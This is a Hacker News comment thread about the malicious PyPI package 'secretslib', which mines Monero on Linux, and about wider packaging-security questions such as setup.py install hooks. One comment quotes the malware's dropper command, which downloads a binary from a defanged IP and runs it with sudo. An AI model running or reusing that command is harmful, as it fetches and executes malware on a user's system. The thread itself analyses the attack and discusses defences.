[HN Gopher] PyPI package 'secretslib' drops fileless Linux malwa...
___________________________________________________________________
PyPI package 'secretslib' drops fileless Linux malware to mine
Monero
Author : kungfudoi
Score : 157 points
Date : 2022-08-12 13:06 UTC (9 hours ago)
(HTM) web link (blog.sonatype.com)
(TXT) w3m dump (blog.sonatype.com)
| avian wrote:
| Usually such PyPI packages with malware are typo-squatting other,
| well-known packages. They count on people making mistakes in
| their pip command-lines or requirements.txt or whatever. But
| "secretslib"? It doesn't ring a bell as a typo for anything.
| Authors also can't be counting on people installing it
| organically because the package had no long description of what
| it supposedly pretended to do. So what was the plan here?
| Ancapistani wrote:
| Could it be typosquating a package name that's relatively
| commonly used in private PyPI mirrors?
| miohtama wrote:
| I have come across a handful of malicious packages. Based on
| the reading the code I do not think authors are very
| professional - looked more of a script kid quality. Maybe there
| is no plan. Maybe teens are just fooling around.
|
| If you come across a malicious package you can send a take down
| request at:
|
| https://www.python.org/dev/security/
| TheChaplain wrote:
| Money is the plan and fast like a old school bank heist, so I
| don't think there is much space for QA as well as forward
| thinking involved.
| rightbyte wrote:
| The author might run it himself in some datacentre pipeline?
| Looks less suspicious with a pip install.
| milliams wrote:
| I expect the plan was to try to introduce it as a dependency in
| some more widely-used package.
| andrewla wrote:
| Possibly they hope to bring it in as a secondary dependency for
| other libraries, so that it implicitly gets injected into other
| systems.
| AtlasBarfed wrote:
| Probably allows employees to vampire work computers for their
| profit.
| throwaway81523 wrote:
| There is a built in secrets module, iirc.
| reportgunner wrote:
| I got distracted by '1 new message' spamming the title and
| stopped taking the website seriously.
| Ennea wrote:
| Came here to say the same thing. What terrible "design".
| yazzku wrote:
| noscript shows 24 total domains, half of which are ads and
| spyware. This website is a good testbed for training your
| domain filters.
|
| ads-twitter.com cookiebot.com driftt.com facebook.net
| google.com gstatic.com googletagmanager.com hs-analytics.com
| hs-banner.com hsadspixel.net hsleadflows.net
|
| Their product must be terrible if they're so desperate to track
| you down.
| [deleted]
| trothamel wrote:
| Does anyone know what the motivation for mining Monero is? Maybe
| I'm missing out some massive use of it, but I see Bitcoin as
| having been the original, Etherium for enabling things like NFTs,
| and Dogecoin for comedy purposes.
|
| But I've only heard of Monero being used in scams like this, so
| I'm curious as to if there are legitimate uses of it that allow
| it to have value.
| mcbuilder wrote:
| You list Dogecoin for comedy purposes as a valid reason yet
| ignore the practical benefits of greater anonymity with Monero.
|
| I'm no coin expert, but if I were to hypothetically buy some
| illegal psychedelic drops off the dark webs, I'd gravitate
| towards Monero or a Monero-likes over Dodgecoin. There are
| plenty of scammy coins, but there are also ones that fill a
| niche.
| cinntaile wrote:
| It's one of the few anonymous cryptocurrencies and that has
| value to quite a few people.
| piperswe wrote:
| IIRC it's because GPU mining Monero is a difficult problem and
| existing GPU miners aren't very efficient, so CPU mining Monero
| produces more revenue than CPU mining other coins.
| prvit wrote:
| It's a joke, right? sudo apt -y install wget
| cpulimit > /dev/null 2>&1 && wget -q http://5.161.57[.]250/tox &&
| chmod +x ./tox && timeout -k 5s 1h sudo ./tox
| rm ./tox
|
| Doesn't seem fileless to me.
|
| Also, hyping up undetected _Linux_ malware is just silly.
| tacitusarc wrote:
| If you keep reading, you'll note that tox drops another elf
| using memfd, which is so-called "fileless".
| prvit wrote:
| You could maybe reasonably call this "fileless" if it was
| calling memfd from python. But even then - memfd does leave
| the file descriptor dangling and accessible in /proc/, it's
| not much better than just dropping your file in /dev/shm.
|
| In a windows malware context "fileless" means something
| entirely different from this.
| glitchc wrote:
| That everything is a file in Linux does not take away from
| the fact that this trojan only exists in volatile memory.
| It's a fileless trojan for all intents and purposes.
| prvit wrote:
| The Linux equivalent of fileless malware on Windows would
| be a python script you pipe straight into the
| interpreter. The whole purpose of "fileless" malware is
| to not get caught by AV which will alert on a new files
| being created and executed.
|
| If this malware was piggybacking on the actual python
| process to do its thing, then maybe you could reasonably
| call it "fileless".
| TillE wrote:
| Yes exactly, fileless malware generally means injecting
| code into existing trusted processes, which makes it
| extremely difficult to detect.
|
| If your malware can be detected by a simple real-time AV
| scanner which just hooks file I/O, it definitely isn't
| fileless.
| rascul wrote:
| It's fileless because the file is in memory instead of a
| hard disk? That doesn't seem like a good distinction.
| [deleted]
| mdaniel wrote:
| a friendly reminder that "NOPASSWD:" can be a fine thing in
| some circumstances, but is very very bad news in `NOPASSWD:
| ALL`
| WhatsName wrote:
| > What an analyst might miss though is that the seemingly-
| innocuous 'tox' covertly drops another ELF file directly in
| memory--a sign commonly associated with "fileless malware."
|
| Yeah I agree, but since the whole essay is pretty much a sales
| pitch for their product, that's to be expected.
|
| Also first-stage dropper are almost always heavyly obfuscated
| to avoid detection. There isn't anything novel about this and
| the second-stage malware actually has reasonable detection
| rates.
| ashishbijlani wrote:
| Packj https://github.com/ossillate-inc/packj can easily detect
| such malicious packages by pointing out if a package accesses
| sensitive files (e.g., SSH keys), spawns executables,
| exfiltrates data, is abandoned, lacks 2FA, etc. Disclaimer: I
| built it.
| intelVISA wrote:
| This is great, is that a good area to move into? Built a few
| toy projs along these lines on the binary analysis side but
| never looked further up the chain. How does it handle dynamic
| analysis?
| ashishbijlani wrote:
| Thanks! Would love to receive code contributions from rare
| folks like you who have binary analysis expertise.
| Currently, it uses strace to track process/net/fs system
| calls on Linux.
| m00dy wrote:
| I wouldn't call it a joke but more like written by a junior in
| a malware class :)
| [deleted]
| thingification wrote:
| > Also, hyping up undetected Linux malware is just silly.
|
| _Linux_ emphasized because you think
|
| - such Linux malware as there is commonly goes undetected
|
| - there is a lot of Linux malware in some sense
|
| - it's easy to create Linux malware that will not be detected
|
| - something else?
| prvit wrote:
| Uploading linux malware on Virustotal mostly results in it
| being scanned by Windows AVs. Many will have basic signature
| detection for common Linux malware, but heuristic detection
| is essentially nonexistent.
| dec0dedab0de wrote:
| I think it's good to remind people that malware happens outside
| of windows. And yeah it is a single temporary file, and
| apparently only works on debian based systems and maybe other
| systems that have wget and cpulimit pre-installed. Doesn't seem
| like they really tried too hard.
|
| edit: They could have written the malware in python, and after
| decoding it run it with eval, done right it would even be cross
| platform. Now I'm wondering how well i could hide something
| like this. I gotta stop before I get swept up and start adding
| easter eggs.
| drdaeman wrote:
| > and maybe other systems that have wget and cpulimit pre-
| installed
|
| Nope. It's `apt ... && ...`, and as the left-hand side of
| `&&` would fail on systems without APT, the right-hand side
| won't ever run, so it wouldn't work because it wouldn't ever
| download that `tox` binary.
| upupandup wrote:
| After the npm sabotage fiasco I was worried we would see this in
| the pyPI space.
| intelVISA wrote:
| Genuinely surprising these types of attack are not more
| prevalent given their relative ease. Perhaps they are and
| people are better at hiding it?
| captainmuon wrote:
| It's a bit ridiculous that setup.py allows you to run custom code
| on install. Granted, even without this you would run the malware
| the latest when you import the module. But I've had all kinds of
| trouble from packages with too smart setup.py scripts. The best
| Python packages are just "xcopyable", meaning self-contained in a
| directory that you can just drop in the PYTHONPATH. Or if you
| really need a binary component, include binaries (plus a _simple_
| compilation step for other platforms) on PyPI.
| wdroz wrote:
| > It's a bit ridiculous that setup.py allows you to run custom
| code on install.
|
| In Rust it's "worst", you can run custom code at compile time.
| But IMO the issue is that we are optimizing everything for
| convenience at the cost of security. The compile/install custom
| code wouldn't be an problem if each dependencies was pinned and
| audited.
|
| PyPI requiring 2 factors authentication on "popular" projects
| will help, but this will not replace the needs for auditing,
| vetting and pinning.
| woodruffw wrote:
| > It's a bit ridiculous that setup.py allows you to run custom
| code on install.
|
| Agreed! The good news is that it's slowly getting better: just
| yesterday[1], setuptools added support for PEP 660[2], which
| removes one of the last remaining reasons to use a `setup.py`
| instead of a fully declarative `pyproject.toml`.
|
| Edit: Also, just to qualify: this is a consistent problem
| across packaging ecosystems. Even system package managers
| (reasonably!) allow custom code during installation, e.g. to
| add service hooks and update locale files.
|
| [1]:
| https://twitter.com/juanluisback/status/1557734536586625025
|
| [2]: https://peps.python.org/pep-0660/
| metadat wrote:
| Hopefully next they'll incentivize package maintainers to
| migrate to the declarative way.
|
| Perhaps spit a scary sounding security warning for all
| packages which use a setup.py?
| woodruffw wrote:
| > Perhaps spit a scary sounding security warning for all
| packages which use a setup.py?
|
| This would be nice, but there's probably too many practical
| barriers to this. For example, you can't (easily) replace
| `setup.py`'s dynamism for packages that contain native
| packages: they need to be able to spawn compilers, etc. and
| do so in ways that are hard to describe declaratively.
|
| We probably don't want to provide a security warning on
| every native non-wheel package, so that's a no-go for the
| time being.
| falcor84 wrote:
| Could we perhaps sandbox any such compilation steps
| within a container and then copy out the resulting
| artifact(s), with a hook that does some security
| scanning?
| woodruffw wrote:
| This is hard to do in the general case: the compilation
| steps often need system dependencies or to otherwise
| query system state to do the right thing, which means
| that the sandbox has to accurately reflect the host.
|
| In terms of hooks, audit hooks and events[1] get us some
| of the way there. But they can be circumvented as well; I
| wouldn't rely on them for untrusted code.
|
| [1]: https://docs.python.org/3/library/audit_events.html
| plonk wrote:
| Instead there's a scary deprecation warning when a package
| uses setup.cfg, which is another declarative replacement
| for setup.py.
|
| And some pyproject.toml features are still experimental per
| the setuptools docs, so I'm not sure which method to choose
| for our internal projects.
|
| I'm glad the setuptools/pip/Python devs are cleaning up the
| packaging situation though. pyproject.toml seems perfect,
| when it becomes ready.
| mmastrac wrote:
| I published my first Python code in a while using a
| pyproject.toml and it was amazingly simple. As someone
| who was doing Rust for a while I really feel like they're
| learning from the modern ecosystems very well.
| bbkane wrote:
| Do you have a link to a good tutorial for this?
| plonk wrote:
| Follow the setuptools doc [1], it's very easy and there's
| an example you can start from. It links to PEP 621 [2]
| which seems to be the specification if that can help.
|
| [1] https://setuptools.pypa.io/en/latest/userguide/pyproj
| ect_con...
|
| [2] https://peps.python.org/pep-0621/
| bjt2n3904 wrote:
| Is toml still not an included dependency in python?
| woodruffw wrote:
| Not in 3.10. It's included in 3.11.
|
| (But this doesn't matter for packaging purposes, since
| setuptools is also not included in the base distribution,
| but _does_ include TOML support.)
| plonk wrote:
| There will be a `tomllib` in Python 3.11:
| https://docs.python.org/3.11/library/tomllib.html
| dec0dedab0de wrote:
| yes, compiled Wheels really are the way to go, but anything.py
| is going to be able to run custom code, that's the point. And
| like you said, the code will likely be run on the machine
| anyway. Minor rant, but I think it's much worse that NPM
| installs can run custom code, since many(most?) npm modules are
| only run in a browser, it actually does open up more of a
| security risk.
| ghoward wrote:
| I'm not so sure it's ridiculous.
|
| What _is_ ridiculous is that users have no way of restricting
| what packages can run on a fine-grained level, at both build
| time and runtime.
|
| We should fix _that_ problem. If we do, then we could make
| computing a lot safer.
|
| Disclaimer: I'm working on that problem.
| [deleted]
___________________________________________________________________
(page generated 2022-08-12 23:01 UTC)